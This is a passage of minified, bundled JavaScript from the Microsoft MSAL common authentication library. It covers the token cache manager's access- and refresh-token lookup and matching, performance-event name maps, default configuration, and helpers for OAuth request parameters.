w=A0.createSearchScopes(K.scopes),H=K.authenticationScheme||x9.BEARER,J=H&&H.toLowerCase()!==x9.BEARER.toLowerCase()?U2.ACCESS_TOKEN_WITH_AUTH_SCHEME:U2.ACCESS_TOKEN,O={homeAccountId:A.homeAccountId,environment:A.environment,credentialType:J,clientId:this.clientId,realm:Y||A.tenantId,target:w,tokenType:H,keyId:K.sshKid,requestedClaimsHash:K.requestedClaimsHash},X=q&&q.accessToken||this.getTokenKeys().accessToken,$=[];X.forEach((G)=>{if(this.accessTokenKeyMatchesFilter(G,O,!0)){let Z=this.getAccessTokenCredential(G,z);if(Z&&this.credentialMatchesFilter(Z,O))$.push(Z)}});let _=$.length;if(_<1)return this.commonLogger.info("CacheManager:getAccessToken - No token found",z),null;else if(_>1)return this.commonLogger.info("CacheManager:getAccessToken - Multiple access tokens found, clearing them",z),$.forEach((G)=>{this.removeAccessToken(this.generateCredentialKey(G),z)}),this.performanceClient.addFields({multiMatchedAT:$.length},z),null;return this.commonLogger.info("CacheManager:getAccessToken - Returning access token",z),$[0]}accessTokenKeyMatchesFilter(A,K,q){let Y=A.toLowerCase();if(K.clientId&&Y.indexOf(K.clientId.toLowerCase())===-1)return!1;if(K.homeAccountId&&Y.indexOf(K.homeAccountId.toLowerCase())===-1)return!1;if(K.realm&&Y.indexOf(K.realm.toLowerCase())===-1)return!1;if(K.requestedClaimsHash&&Y.indexOf(K.requestedClaimsHash.toLowerCase())===-1)return!1;if(K.target){let z=K.target.asArray();for(let w=0;w<z.length;w++)if(q&&!Y.includes(z[w].toLowerCase()))return!1;else if(!q&&Y.includes(z[w].toLowerCase()))return!0}return!0}getAccessTokensByFilter(A,K){let q=this.getTokenKeys(),Y=[];return q.accessToken.forEach((z)=>{if(!this.accessTokenKeyMatchesFilter(z,A,!0))return;let w=this.getAccessTokenCredential(z,K);if(w&&this.credentialMatchesFilter(w,A))Y.push(w)}),Y}getRefreshToken(A,K,q,Y,z){this.commonLogger.trace("CacheManager - getRefreshToken called");let w=K?No:void 0,H={homeAccountId:A.homeAccountId,environment:A.environment,credentialType:U2.REFRESH_TOKEN,clientId:this.clientId,familyId:w},J=Y&&Y.refreshToken||this.getTokenKeys().refreshToken,O=[];J.forEach(($)=>{if(this.refreshTokenKeyMatchesFilter($,H)){let _=this.getRefreshTokenCredential($,q);if(_&&this.credentialMatchesFilter(_,H))O.push(_)}});let X=O.length;if(X<1)return this.commonLogger.info("CacheManager:getRefreshToken - No refresh token found."),null;if(X>1&&z&&q)z.addFields({multiMatchedRT:X},q);return this.commonLogger.info("CacheManager:getRefreshToken - returning refresh token"),O[0]}refreshTokenKeyMatchesFilter(A,K){let q=A.toLowerCase();if(K.familyId&&q.indexOf(K.familyId.toLowerCase())===-1)return!1;if(!K.familyId&&K.clientId&&q.indexOf(K.clientId.toLowerCase())===-1)return!1;if(K.homeAccountId&&q.indexOf(K.homeAccountId.toLowerCase())===-1)return!1;return!0}readAppMetadataFromCache(A){let K={environment:A,clientId:this.clientId},q=this.getAppMetadataFilteredBy(K),Y=Object.keys(q).map((w)=>q[w]),z=Y.length;if(z<1)return null;else if(z>1)throw t6(AKA);return Y[0]}isAppMetadataFOCI(A){let K=this.readAppMetadataFromCache(A);return!!(K&&K.familyId===No)}matchHomeAccountId(A,K){return typeof A.homeAccountId==="string"&&K===A.homeAccountId}matchLocalAccountIdFromTokenClaims(A,K){let q=A.oid||A.sub;return K===q}matchLocalAccountIdFromTenantProfile(A,K){return A.localAccountId===K}matchName(A,K){return K.toLowerCase()===A.name?.toLowerCase()}matchUsername(A,K){return!!(A&&typeof A==="string"&&K?.toLowerCase()===A.toLowerCase())}matchUserAssertionHash(A,K){return!!(A.userAssertionHash&&K===A.userAssertionHash)}matchEnvironment(A,K){if(this.staticAuthorityOptions){let Y=T17(this.staticAuthorityOptions,this.commonLogger);if(Y.includes(K)&&Y.includes(A.environment))return!0}let q=this.getAuthorityMetadataByAlias(K);if(q&&q.aliases.indexOf(A.environment)>-1)return!0;return!1}matchCredentialType(A,K){return A.credentialType&&K.toLowerCase()===A.credentialType.toLowerCase()}matchClientId(A,K){return!!(A.clientId&&K===A.clientId)}matchFamilyId(A,K){return!!(A.familyId&&K===A.familyId)}matchRealm(A,K){return A.realm?.toLowerCase()===K.toLowerCase()}matchNativeAccountId(A,K){return!!(A.nativeAccountId&&K===A.nativeAccountId)}matchLoginHintFromTokenClaims(A,K){if(A.login_hint===K)return!0;if(A.preferred_username===K)return!0;if(A.upn===K)return!0;return!1}matchSid(A,K){return A.sid===K}matchAuthorityType(A,K){return!!(A.authorityType&&K.toLowerCase()===A.authorityType.toLowerCase())}matchTarget(A,K){if(A.credentialType!==U2.ACCESS_TOKEN&&A.credentialType!==U2.ACCESS_TOKEN_WITH_AUTH_SCHEME||!A.target)return!1;return A0.fromString(A.target).containsScopeSet(K)}matchTokenType(A,K){return!!(A.tokenType&&A.tokenType===K)}matchKeyId(A,K){return!!(A.keyId&&A.keyId===K)}isAppMetadata(A){return A.indexOf(chA)!==-1}isAuthorityMetadata(A){return A.indexOf(d_A.CACHE_KEY)!==-1}generateAuthorityMetadataCacheKey(A){return`${d_A.CACHE_KEY}-${this.clientId}-${A}`}static toObject(A,K){for(let q in K)A[q]=K[q];return A}}var OH1;var E06=k(()=>{zH();fbA();wH1();H$();YH1();t_A();AH1();N06();C17();DC();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */OH1=class OH1 extends VKA{async setAccount(){throw t6(v3)}getAccount(){throw t6(v3)}async setIdTokenCredential(){throw t6(v3)}getIdTokenCredential(){throw t6(v3)}async setAccessTokenCredential(){throw t6(v3)}getAccessTokenCredential(){throw t6(v3)}async setRefreshTokenCredential(){throw t6(v3)}getRefreshTokenCredential(){throw t6(v3)}setAppMetadata(){throw t6(v3)}getAppMetadata(){throw t6(v3)}setServerTelemetry(){throw t6(v3)}getServerTelemetry(){throw t6(v3)}setAuthorityMetadata(){throw t6(v3)}getAuthorityMetadata(){throw t6(v3)}getAuthorityMetadataKeys(){throw t6(v3)}setThrottlingCache(){throw t6(v3)}getThrottlingCache(){throw t6(v3)}removeItem(){throw t6(v3)}getKeys(){throw t6(v3)}getAccountKeys(){throw t6(v3)}getTokenKeys(){throw t6(v3)}generateCredentialKey(){throw t6(v3)}generateAccountKey(){throw t6(v3)}}});var j6,kSw,L17;var JI=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */j6={AcquireTokenByCode:"acquireTokenByCode",AcquireTokenByRefreshToken:"acquireTokenByRefreshToken",AcquireTokenSilent:"acquireTokenSilent",AcquireTokenSilentAsync:"acquireTokenSilentAsync",AcquireTokenPopup:"acquireTokenPopup",AcquireTokenPreRedirect:"acquireTokenPreRedirect",AcquireTokenRedirect:"acquireTokenRedirect",CryptoOptsGetPublicKeyThumbprint:"cryptoOptsGetPublicKeyThumbprint",CryptoOptsSignJwt:"cryptoOptsSignJwt",SilentCacheClientAcquireToken:"silentCacheClientAcquireToken",SilentIframeClientAcquireToken:"silentIframeClientAcquireToken",AwaitConcurrentIframe:"awaitConcurrentIframe",SilentRefreshClientAcquireToken:"silentRefreshClientAcquireToken",SsoSilent:"ssoSilent",StandardInteractionClientGetDiscoveredAuthority:"standardInteractionClientGetDiscoveredAuthority",FetchAccountIdWithNativeBroker:"fetchAccountIdWithNativeBroker",NativeInteractionClientAcquireToken:"nativeInteractionClientAcquireToken",BaseClientCreateTokenRequestHeaders:"baseClientCreateTokenRequestHeaders",NetworkClientSendPostRequestAsync:"networkClientSendPostRequestAsync",RefreshTokenClientExecutePostToTokenEndpoint:"refreshTokenClientExecutePostToTokenEndpoint",AuthorizationCodeClientExecutePostToTokenEndpoint:"authorizationCodeClientExecutePostToTokenEndpoint",BrokerHandhshake:"brokerHandshake",AcquireTokenByRefreshTokenInBroker:"acquireTokenByRefreshTokenInBroker",AcquireTokenByBroker:"acquireTokenByBroker",RefreshTokenClientExecuteTokenRequest:"refreshTokenClientExecuteTokenRequest",RefreshTokenClientAcquireToken:"refreshTokenClientAcquireToken",RefreshTokenClientAcquireTokenWithCachedRefreshToken:"refreshTokenClientAcquireTokenWithCachedRefreshToken",RefreshTokenClientAcquireTokenByRefreshToken:"refreshTokenClientAcquireTokenByRefreshToken",RefreshTokenClientCreateTokenRequestBody:"refreshTokenClientCreateTokenRequestBody",AcquireTokenFromCache:"acquireTokenFromCache",SilentFlowClientAcquireCachedToken:"silentFlowClientAcquireCachedToken",SilentFlowClientGenerateResultFromCacheRecord:"silentFlowClientGenerateResultFromCacheRecord",AcquireTokenBySilentIframe:"acquireTokenBySilentIframe",InitializeBaseRequest:"initializeBaseRequest",InitializeSilentRequest:"initializeSilentRequest",InitializeClientApplication:"initializeClientApplication",InitializeCache:"initializeCache",SilentIframeClientTokenHelper:"silentIframeClientTokenHelper",SilentHandlerInitiateAuthRequest:"silentHandlerInitiateAuthRequest",SilentHandlerMonitorIframeForHash:"silentHandlerMonitorIframeForHash",SilentHandlerLoadFrame:"silentHandlerLoadFrame",SilentHandlerLoadFrameSync:"silentHandlerLoadFrameSync",StandardInteractionClientCreateAuthCodeClient:"standardInteractionClientCreateAuthCodeClient",StandardInteractionClientGetClientConfiguration:"standardInteractionClientGetClientConfiguration",StandardInteractionClientInitializeAuthorizationRequest:"standardInteractionClientInitializeAuthorizationRequest",GetAuthCodeUrl:"getAuthCodeUrl",GetStandardParams:"getStandardParams",HandleCodeResponseFromServer:"handleCodeResponseFromServer",HandleCodeResponse:"handleCodeResponse",HandleResponseEar:"handleResponseEar",HandleResponsePlatformBroker:"handleResponsePlatformBroker",HandleResponseCode:"handleResponseCode",UpdateTokenEndpointAuthority:"updateTokenEndpointAuthority",AuthClientAcquireToken:"authClientAcquireToken",AuthClientExecuteTokenRequest:"authClientExecuteTokenRequest",AuthClientCreateTokenRequestBody:"authClientCreateTokenRequestBody",PopTokenGenerateCnf:"popTokenGenerateCnf",PopTokenGenerateKid:"popTokenGenerateKid",HandleServerTokenResponse:"handleServerTokenResponse",DeserializeResponse:"deserializeResponse",AuthorityFactoryCreateDiscoveredInstance:"authorityFactoryCreateDiscoveredInstance",AuthorityResolveEndpointsAsync:"authorityResolveEndpointsAsync",AuthorityResolveEndpointsFromLocalSources:"authorityResolveEndpointsFromLocalSources",AuthorityGetCloudDiscoveryMetadataFromNetwork:"authorityGetCloudDiscoveryMetadataFromNetwork",AuthorityUpdateCloudDiscoveryMetadata:"authorityUpdateCloudDiscoveryMetadata",AuthorityGetEndpointMetadataFromNetwork:"authorityGetEndpointMetadataFromNetwork",AuthorityUpdateEndpointMetadata:"authorityUpdateEndpointMetadata",AuthorityUpdateMetadataWithRegionalInformation:"authorityUpdateMetadataWithRegionalInformation",RegionDiscoveryDetectRegion:"regionDiscoveryDetectRegion",RegionDiscoveryGetRegionFromIMDS:"regionDiscoveryGetRegionFromIMDS",RegionDiscoveryGetCurrentVersion:"regionDiscoveryGetCurrentVersion",AcquireTokenByCodeAsync:"acquireTokenByCodeAsync",GetEndpointMetadataFromNetwork:"getEndpointMetadataFromNetwork",GetCloudDiscoveryMetadataFromNetworkMeasurement:"getCloudDiscoveryMetadataFromNetworkMeasurement",HandleRedirectPromiseMeasurement:"handleRedirectPromise",HandleNativeRedirectPromiseMeasurement:"handleNativeRedirectPromise",UpdateCloudDiscoveryMetadataMeasurement:"updateCloudDiscoveryMetadataMeasurement",UsernamePasswordClientAcquireToken:"usernamePasswordClientAcquireToken",NativeMessageHandlerHandshake:"nativeMessageHandlerHandshake",NativeGenerateAuthResult:"nativeGenerateAuthResult",RemoveHiddenIframe:"removeHiddenIframe",ClearTokensAndKeysWithClaims:"clearTokensAndKeysWithClaims",CacheManagerGetRefreshToken:"cacheManagerGetRefreshToken",ImportExistingCache:"importExistingCache",SetUserData:"setUserData",LocalStorageUpdated:"localStorageUpdated",GeneratePkceCodes:"generatePkceCodes",GenerateCodeVerifier:"generateCodeVerifier",GenerateCodeChallengeFromVerifier:"generateCodeChallengeFromVerifier",Sha256Digest:"sha256Digest",GetRandomValues:"getRandomValues",GenerateHKDF:"generateHKDF",GenerateBaseKey:"generateBaseKey",Base64Decode:"base64Decode",UrlEncodeArr:"urlEncodeArr",Encrypt:"encrypt",Decrypt:"decrypt",GenerateEarKey:"generateEarKey",DecryptEarResponse:"decryptEarResponse"},kSw=new Map([[j6.AcquireTokenByCode,"ATByCode"],[j6.AcquireTokenByRefreshToken,"ATByRT"],[j6.AcquireTokenSilent,"ATS"],[j6.AcquireTokenSilentAsync,"ATSAsync"],[j6.AcquireTokenPopup,"ATPopup"],[j6.AcquireTokenRedirect,"ATRedirect"],[j6.CryptoOptsGetPublicKeyThumbprint,"CryptoGetPKThumb"],[j6.CryptoOptsSignJwt,"CryptoSignJwt"],[j6.SilentCacheClientAcquireToken,"SltCacheClientAT"],[j6.SilentIframeClientAcquireToken,"SltIframeClientAT"],[j6.SilentRefreshClientAcquireToken,"SltRClientAT"],[j6.SsoSilent,"SsoSlt"],[j6.StandardInteractionClientGetDiscoveredAuthority,"StdIntClientGetDiscAuth"],[j6.FetchAccountIdWithNativeBroker,"FetchAccIdWithNtvBroker"],[j6.NativeInteractionClientAcquireToken,"NtvIntClientAT"],[j6.BaseClientCreateTokenRequestHeaders,"BaseClientCreateTReqHead"],[j6.NetworkClientSendPostRequestAsync,"NetClientSendPost"],[j6.RefreshTokenClientExecutePostToTokenEndpoint,"RTClientExecPost"],[j6.AuthorizationCodeClientExecutePostToTokenEndpoint,"AuthCodeClientExecPost"],[j6.BrokerHandhshake,"BrokerHandshake"],[j6.AcquireTokenByRefreshTokenInBroker,"ATByRTInBroker"],[j6.AcquireTokenByBroker,"ATByBroker"],[j6.RefreshTokenClientExecuteTokenRequest,"RTClientExecTReq"],[j6.RefreshTokenClientAcquireToken,"RTClientAT"],[j6.RefreshTokenClientAcquireTokenWithCachedRefreshToken,"RTClientATWithCachedRT"],[j6.RefreshTokenClientAcquireTokenByRefreshToken,"RTClientATByRT"],[j6.RefreshTokenClientCreateTokenRequestBody,"RTClientCreateTReqBody"],[j6.AcquireTokenFromCache,"ATFromCache"],[j6.SilentFlowClientAcquireCachedToken,"SltFlowClientATCached"],[j6.SilentFlowClientGenerateResultFromCacheRecord,"SltFlowClientGenResFromCache"],[j6.AcquireTokenBySilentIframe,"ATBySltIframe"],[j6.InitializeBaseRequest,"InitBaseReq"],[j6.InitializeSilentRequest,"InitSltReq"],[j6.InitializeClientApplication,"InitClientApplication"],[j6.InitializeCache,"InitCache"],[j6.ImportExistingCache,"importCache"],[j6.SetUserData,"setUserData"],[j6.LocalStorageUpdated,"localStorageUpdated"],[j6.SilentIframeClientTokenHelper,"SIClientTHelper"],[j6.SilentHandlerInitiateAuthRequest,"SHandlerInitAuthReq"],[j6.SilentHandlerMonitorIframeForHash,"SltHandlerMonitorIframeForHash"],[j6.SilentHandlerLoadFrame,"SHandlerLoadFrame"],[j6.SilentHandlerLoadFrameSync,"SHandlerLoadFrameSync"],[j6.StandardInteractionClientCreateAuthCodeClient,"StdIntClientCreateAuthCodeClient"],[j6.StandardInteractionClientGetClientConfiguration,"StdIntClientGetClientConf"],[j6.StandardInteractionClientInitializeAuthorizationRequest,"StdIntClientInitAuthReq"],[j6.GetAuthCodeUrl,"GetAuthCodeUrl"],[j6.HandleCodeResponseFromServer,"HandleCodeResFromServer"],[j6.HandleCodeResponse,"HandleCodeResp"],[j6.HandleResponseEar,"HandleRespEar"],[j6.HandleResponseCode,"HandleRespCode"],[j6.HandleResponsePlatformBroker,"HandleRespPlatBroker"],[j6.UpdateTokenEndpointAuthority,"UpdTEndpointAuth"],[j6.AuthClientAcquireToken,"AuthClientAT"],[j6.AuthClientExecuteTokenRequest,"AuthClientExecTReq"],[j6.AuthClientCreateTokenRequestBody,"AuthClientCreateTReqBody"],[j6.PopTokenGenerateCnf,"PopTGenCnf"],[j6.PopTokenGenerateKid,"PopTGenKid"],[j6.HandleServerTokenResponse,"HandleServerTRes"],[j6.DeserializeResponse,"DeserializeRes"],[j6.AuthorityFactoryCreateDiscoveredInstance,"AuthFactCreateDiscInst"],[j6.AuthorityResolveEndpointsAsync,"AuthResolveEndpointsAsync"],[j6.AuthorityResolveEndpointsFromLocalSources,"AuthResolveEndpointsFromLocal"],[j6.AuthorityGetCloudDiscoveryMetadataFromNetwork,"AuthGetCDMetaFromNet"],[j6.AuthorityUpdateCloudDiscoveryMetadata,"AuthUpdCDMeta"],[j6.AuthorityGetEndpointMetadataFromNetwork,"AuthUpdCDMetaFromNet"],[j6.AuthorityUpdateEndpointMetadata,"AuthUpdEndpointMeta"],[j6.AuthorityUpdateMetadataWithRegionalInformation,"AuthUpdMetaWithRegInfo"],[j6.RegionDiscoveryDetectRegion,"RegDiscDetectReg"],[j6.RegionDiscoveryGetRegionFromIMDS,"RegDiscGetRegFromIMDS"],[j6.RegionDiscoveryGetCurrentVersion,"RegDiscGetCurrentVer"],[j6.AcquireTokenByCodeAsync,"ATByCodeAsync"],[j6.GetEndpointMetadataFromNetwork,"GetEndpointMetaFromNet"],[j6.GetCloudDiscoveryMetadataFromNetworkMeasurement,"GetCDMetaFromNet"],[j6.HandleRedirectPromiseMeasurement,"HandleRedirectPromise"],[j6.HandleNativeRedirectPromiseMeasurement,"HandleNtvRedirectPromise"],[j6.UpdateCloudDiscoveryMetadataMeasurement,"UpdateCDMeta"],[j6.UsernamePasswordClientAcquireToken,"UserPassClientAT"],[j6.NativeMessageHandlerHandshake,"NtvMsgHandlerHandshake"],[j6.NativeGenerateAuthResult,"NtvGenAuthRes"],[j6.RemoveHiddenIframe,"RemoveHiddenIframe"],[j6.ClearTokensAndKeysWithClaims,"ClearTAndKeysWithClaims"],[j6.CacheManagerGetRefreshToken,"CacheManagerGetRT"],[j6.GeneratePkceCodes,"GenPkceCodes"],[j6.GenerateCodeVerifier,"GenCodeVerifier"],[j6.GenerateCodeChallengeFromVerifier,"GenCodeChallengeFromVerifier"],[j6.Sha256Digest,"Sha256Digest"],[j6.GetRandomValues,"GetRandomValues"],[j6.GenerateHKDF,"genHKDF"],[j6.GenerateBaseKey,"genBaseKey"],[j6.Base64Decode,"b64Decode"],[j6.UrlEncodeArr,"urlEncArr"],[j6.Encrypt,"encrypt"],[j6.Decrypt,"decrypt"],[j6.GenerateEarKey,"genEarKey"],[j6.DecryptEarResponse,"decryptEarResp"]]),L17={NotStarted:0,InProgress:1,Completed:2}});class k06{startMeasurement(){return}endMeasurement(){return}flushMeasurement(){return null}}class e_A{generateId(){return"callback-id"}startMeasurement(A,K){return{end:()=>null,discard:()=>{},add:()=>{},increment:()=>{},event:{eventId:this.generateId(),status:L17.InProgress,authority:"",libraryName:"",libraryVersion:"",clientId:"",name:A,startTimeMs:Date.now(),correlationId:K||""},measurement:new k06}}startPerformanceMeasurement(){return new k06}calculateQueuedTime(){return 0}addQueueMeasurement(){return}setPreQueueTime(){return}endMeasurement(){return null}discardMeasurements(){return}removePerformanceCallback(){return!0}addPerformanceCallback(){return""}emitEvents(){return}addFields(){return}incrementFields(){return}cacheEventByCorrelationId(){return}}var C06=k(()=>{JI();/*! @azure/msal-common v15.13.1 2025-10-29 */});function R17({authOptions:A,systemOptions:K,loggerOptions:q,cacheOptions:Y,storageInterface:z,networkInterface:w,cryptoInterface:H,clientCredentials:J,libraryInfo:O,telemetry:X,serverTelemetryManager:$,persistencePlugin:_,serializableCache:G}){let Z={...Y8Y,...q};return{authOptions:$8Y(A),systemOptions:{...q8Y,...K},loggerOptions:Z,cacheOptions:{...z8Y,...Y},storageInterface:z||new OH1(A.clientId,i_A,new sV(Z),new e_A),networkInterface:w||w8Y,cryptoInterface:H||i_A,clientCredentials:J||J8Y,libraryInfo:{...H8Y,...O},telemetry:{...X8Y,...X},serverTelemetryManager:$||null,persistencePlugin:_||null,serializableCache:G||null}}function $8Y(A){return{clientCapabilities:[],azureCloudOptions:O8Y,skipAuthorityMetadataCache:!1,instanceAware:!1,encodeExtraQueryParams:!1,...A}}function XH1(A){return A.authOptions.authority.options.protocolMode===gD.OIDC}var q8Y,Y8Y,z8Y,w8Y,H8Y,J8Y,O8Y,X8Y;var $H1=k(()=>{G06();tw1();zH();AH1();KH1();E06();TbA();H$();C06();zX();/*! @azure/msal-common v15.13.1 2025-10-29 */q8Y={tokenRenewalOffsetSeconds:c_A,preventCorsPreflight:!1},Y8Y={loggerCallback:()=>{},piiLoggingEnabled:!1,logLevel:WO.Info,correlationId:u6.EMPTY_STRING},z8Y={claimsBasedCachingEnabled:!1},w8Y={async sendGetRequestAsync(){throw t6(v3)},async sendPostRequestAsync(){throw t6(v3)}},H8Y={sku:u6.SKU,version:n_A,cpu:u6.EMPTY_STRING,os:u6.EMPTY_STRING},J8Y={clientSecret:u6.EMPTY_STRING,clientAssertion:void 0},O8Y={azureCloudInstance:RU.None,tenant:`${u6.DEFAULT_COMMON_TENANT}`},X8Y={application:{appName:"",appVersion:""}}});var CM;var CbA=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */CM={HOME_ACCOUNT_ID:"home_account_id",UPN:"UPN"}});var fKA={};_q(fKA,{X_MS_LIB_CAPABILITY:()=>n06,X_CLIENT_VER:()=>p06,X_CLIENT_SKU:()=>U06,X_CLIENT_OS:()=>d06,X_CLIENT_LAST_TELEM:()=>i06,X_CLIENT_EXTRA_SKU:()=>T8Y,X_CLIENT_CURR_TELEM:()=>l06,X_CLIENT_CPU:()=>c06,X_APP_VER:()=>o06,X_APP_NAME:()=>r06,TOKEN_TYPE:()=>GH1,STATE:()=>b06,SID:()=>HX6,SESSION_STATE:()=>M8Y,SCOPE:()=>S06,RETURN_SPA_CODE:()=>WH1,RESPONSE_TYPE:()=>L06,RESPONSE_MODE:()=>R06,REQ_CNF:()=>ZH1,REQUESTED_TOKEN_USE:()=>YX6,REFRESH_TOKEN_EXPIRES_IN:()=>j8Y,REFRESH_TOKEN:()=>h06,REDIRECT_URI:()=>_H1,PROMPT:()=>u06,POST_LOGOUT_URI:()=>a06,ON_BEHALF_OF:()=>V8Y,OBO_ASSERTION:()=>qX6,NONCE:()=>x06,NATIVE_BROKER:()=>zX6,LOGOUT_HINT:()=>wX6,LOGIN_HINT:()=>JX6,INSTANCE_AWARE:()=>AGA,ID_TOKEN_HINT:()=>s06,ID_TOKEN:()=>W8Y,GRANT_TYPE:()=>y06,FOCI:()=>f8Y,EXPIRES_IN:()=>D8Y,ERROR_DESCRIPTION:()=>G8Y,ERROR:()=>_8Y,EAR_JWK:()=>XX6,EAR_JWE_CRYPTO:()=>$X6,DOMAIN_HINT:()=>OX6,DEVICE_CODE:()=>t06,CODE_VERIFIER:()=>F06,CODE_CHALLENGE_METHOD:()=>g06,CODE_CHALLENGE:()=>m06,CODE:()=>B06,CLIENT_SECRET:()=>e06,CLIENT_REQUEST_ID:()=>Q06,CLIENT_INFO:()=>P8Y,CLIENT_ID:()=>ku,CLIENT_ASSERTION_TYPE:()=>KX6,CLIENT_ASSERTION:()=>AX6,CLAIMS:()=>I06,CCS_HEADER:()=>N8Y,BROKER_REDIRECT_URI:()=>DH1,BROKER_CLIENT_ID:()=>LbA,ACCESS_TOKEN:()=>Z8Y});var ku="client_id",_H1="redirect_uri",L06="response_type",R06="response_mode",y06="grant_type",I06="claims",S06="scope",_8Y="error",G8Y="error_description",Z8Y="access_token",W8Y="id_token",h06="refresh_token",D8Y="expires_in",j8Y="refresh_token_expires_in",b06="state",x06="nonce",u06="prompt",M8Y="session_state",P8Y="client_info",B06="code",m06="code_challenge",g06="code_challenge_method",F06="code_verifier",Q06="client-request-id",U06="x-client-SKU",p06="x-client-VER",d06="x-client-OS",c06="x-client-CPU",l06="x-client-current-telemetry",i06="x-client-last-telemetry",n06="x-ms-lib-capability",r06="x-app-name",o06="x-app-ver",a06="post_logout_redirect_uri",s06="id_token_hint",t06="device_code",e06="client_secret",AX6="client_assertion",KX6="client_assertion_type",GH1="token_type",ZH1="req_cnf",qX6="assertion",YX6="requested_token_use",V8Y="on_behalf_of",f8Y="foci",N8Y="X-AnchorMailbox",WH1="return_spa_code",zX6="nativebroker",wX6="logout_hint",HX6="sid",JX6="login_hint",OX6="domain_hint",T8Y="x-client-xtra-sku",LbA="brk_client_id",DH1="brk_redirect_uri",AGA="instance_aware",XX6="ear_jwk",$X6="ear_jwe_crypto";var KGA=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});var t4={};_q(t4,{instrumentBrokerParams:()=>NKA,addUsername:()=>y8Y,addThrottling:()=>FbA,addState:()=>IbA,addSshJwk:()=>mbA,addSid:()=>jH1,addServerTelemetry:()=>gbA,addScopes:()=>TKA,addResponseType:()=>v8Y,addResponseMode:()=>_X6,addRequestTokenUse:()=>R8Y,addRefreshToken:()=>PX6,addRedirectUri:()=>EKA,addPrompt:()=>DX6,addPostLogoutRedirectUri:()=>GX6,addPostBodyParameters:()=>h8Y,addPopToken:()=>BbA,addPassword:()=>I8Y,addOboAssertion:()=>L8Y,addNonce:()=>jX6,addNativeBroker:()=>E8Y,addLogoutHint:()=>fX6,addLoginHint:()=>qGA,addLibraryInfo:()=>RbA,addInstanceAware:()=>ubA,addIdTokenHint:()=>ZX6,addGrantType:()=>xbA,addExtraQueryParameters:()=>bU,addEARParameters:()=>S8Y,addDomainHint:()=>WX6,addDeviceCode:()=>C8Y,addCorrelationId:()=>CKA,addCodeVerifier:()=>VX6,addCodeChallengeParams:()=>k8Y,addClientSecret:()=>SbA,addClientInfo:()=>LKA,addClientId:()=>vKA,addClientCapabilitiesToClaims:()=>y17,addClientAssertionType:()=>bbA,addClientAssertion:()=>hbA,addClaims:()=>kKA,addCcsUpn:()=>bo,addCcsOid:()=>hU,addBrokerParameters:()=>xU,addAuthorizationCode:()=>MX6,addApplicationTelemetry:()=>ybA});function NKA(A,K,q){if(!K)return;let Y=A.get(ku);if(Y&&A.has(LbA))q?.addFields({embeddedClientId:Y,embeddedRedirectUri:A.get(_H1)},K)}function v8Y(A,K){A.set(L06,K)}function _X6(A,K){A.set(R06,K?K:fu.QUERY)}function E8Y(A){A.set(zX6,"1")}function TKA(A,K,q=!0,Y=mD){if(q&&!Y.includes("openid")&&!K.includes("openid"))Y.push("openid");let z=q?[...K||[],...Y]:K||[],w=new A0(z);A.set(S06,w.printScopes())}function vKA(A,K){A.set(ku,K)}function EKA(A,K){A.set(_H1,K)}function GX6(A,K){A.set(a06,K)}function ZX6(A,K){A.set(s06,K)}function WX6(A,K){A.set(OX6,K)}function qGA(A,K){A.set(JX6,K)}function bo(A,K){A.set(YH.CCS_HEADER,`UPN:${K}`)}function hU(A,K){A.set(YH.CCS_HEADER,`Oid:${K.uid}@${K.utid}`)}function jH1(A,K){A.set(HX6,K)}function kKA(A,K,q){let Y=y17(K,q);try{JSON.parse(Y)}catch(z){throw az(Ro)}A.set(I06,Y)}function CKA(A,K){A.set(Q06,K)}function RbA(A,K){if(A.set(U06,K.sku),A.set(p06,K.version),K.os)A.set(d06,K.os);if(K.cpu)A.set(c06,K.cpu)}function ybA(A,K){if(K?.appName)A.set(r06,K.appName);if(K?.appVersion)A.set(o06,K.appVersion)}function DX6(A,K){A.set(u06,K)}function IbA(A,K){if(K)A.set(b06,K)}function jX6(A,K){A.set(x06,K)}function k8Y(A,K,q){if(K&&q)A.set(m06,K),A.set(g06,q);else throw az(DKA)}function MX6(A,K){A.set(B06,K)}function C8Y(A,K){A.set(t06,K)}function PX6(A,K){A.set(h06,K)}function VX6(A,K){A.set(F06,K)}function SbA(A,K){A.set(e06,K)}function hbA(A,K){if(K)A.set(AX6,K)}function bbA(A,K){if(K)A.set(KX6,K)}function L8Y(A,K){A.set(qX6,K)}function R8Y(A,K){A.set(YX6,K)}function xbA(A,K){A.set(y06,K)}function LKA(A){A.set(D17,"1")}function ubA(A){if(!A.has(AGA))A.set(AGA,"true")}function bU(A,K){Object.entries(K).forEach(([q,Y])=>{if(!A.has(q)&&Y)A.set(q,Y)})}function y17(A,K){let q;if(!A)q={};else try{q=JSON.parse(A)}catch(Y){throw az(Ro)}if(K&&K.length>0){if(!q.hasOwnProperty(d7A.ACCESS_TOKEN))q[d7A.ACCESS_TOKEN]={};q[d7A.ACCESS_TOKEN][d7A.XMS_CC]={values:K}}return JSON.stringify(q)}function y8Y(A,K){A.set(ihA.username,K)}function I8Y(A,K){A.set(ihA.password,K)}function BbA(A,K){if(K)A.set(GH1,x9.POP),A.set(ZH1,K)}function mbA(A,K){if(K)A.set(GH1,x9.SSH),A.set(ZH1,K)}function gbA(A,K){A.set(l06,K.generateCurrentRequestHeaderValue()),A.set(i06,K.generateLastRequestHeaderValue())}function FbA(A){A.set(n06,Nu.X_MS_LIB_CAPABILITY_VALUE)}function fX6(A,K){A.set(wX6,K)}function xU(A,K,q){if(!A.has(LbA))A.set(LbA,K);if(!A.has(DH1))A.set(DH1,q)}function S8Y(A,K){A.set(XX6,encodeURIComponent(K));let q="eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0";A.set($X6,q)}function h8Y(A,K){Object.entries(K).forEach(([q,Y])=>{if(Y)A.set(q,Y)})}var YGA=k(()=>{zH();KGA();fbA();Io();IU();/*! @azure/msal-common v15.13.1 2025-10-29 */});function I17(A){return A.hasOwnProperty("authorization_endpoint")&&A.hasOwnProperty("token_endpoint")&&A.hasOwnProperty("issuer")&&A.hasOwnProperty("jwks_uri")}var S17=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});function h17(A){return A.hasOwnProperty("tenant_discovery_endpoint")&&A.hasOwnProperty("metadata")}var b17=k(()=>{/*! @azure/msal-common v15.13.1 2025-10-29 */});function x17(A){return A.hasOwnProperty("error")&&A.hasOwnProperty("error_description")}var 